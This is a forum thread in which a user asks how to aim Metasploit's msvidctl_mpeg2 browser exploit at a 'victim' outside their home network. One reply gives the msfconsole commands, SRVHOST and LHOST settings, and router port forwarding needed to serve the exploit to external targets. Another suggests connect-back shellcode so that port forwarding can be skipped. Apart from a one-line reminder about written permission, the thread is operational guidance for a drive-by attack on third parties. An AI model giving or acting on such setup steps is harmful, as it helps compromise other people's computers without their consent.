Results 1 to 3 of 3

Thread: Problem with metasploit(about SRVHOST & LHOST)

  1. #1
    Just burned his ISO
    Join Date
    Jul 2009
    Posts
    1

    Default Problem with metasploit(about SRVHOST & LHOST)

    Hi all,

    This is my problem

    I'm in a local network connected to the internet from a router...

    I want to use the last exploit (msvidctl_mpeg2) but the problem is when i have to set the SRVHOST and the LHOST because i want to target someone outside the local network and i must set the external IP for sending it to the victim.
    and i got always:[*] Started reverse handler [-] Exploit failed: Cannot assign requested address - bind(2)

    Is there a solution thanks

  2. #2
    Junior Member
    Join Date
    Aug 2008
    Posts
    30

    Default

    You'll set both the SRVHOST and LHOST as the IP Address assigned by DHCP, however port forwarding will need to be implemented through your Router / NAT Device in order to get external users to connect to you on the specific port. A more detailed example is, my WAN IP Address is 127.0.0.1 (Don't hack me guys...), I'm behind a router, DHCP has given me 192.168.1.100 in msfconsole I'll go:

    use exploit/windows/browser/msvidctl_mpeg2

    set SRVHOST 192.168.1.100

    set LHOST 192.168.1.100

    set URIPATH /

    exploit

    And get the output as :
    [*]Using URL : hxxp://192.168.1.100:8080/
    [*]Server Started.

    After logging into your router, designate port 8080 on your specific IP Address to be allowed to be forwarded, the address you'll be sending people to would be your WAN IP : Port Number of The Server. Be sure you have written permission if your plotting an attack outside of your network - it's illegal if you don't.

  3. #3
    Member imported_vvpalin's Avatar
    Join Date
    Apr 2009
    Posts
    442

    Default

    Youll need to change the shellcode for a connect back if you want to bypass setting up port forwarding.
    Using backtrack for the first time is like being 10 years old again with the keys to a Ferrari.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •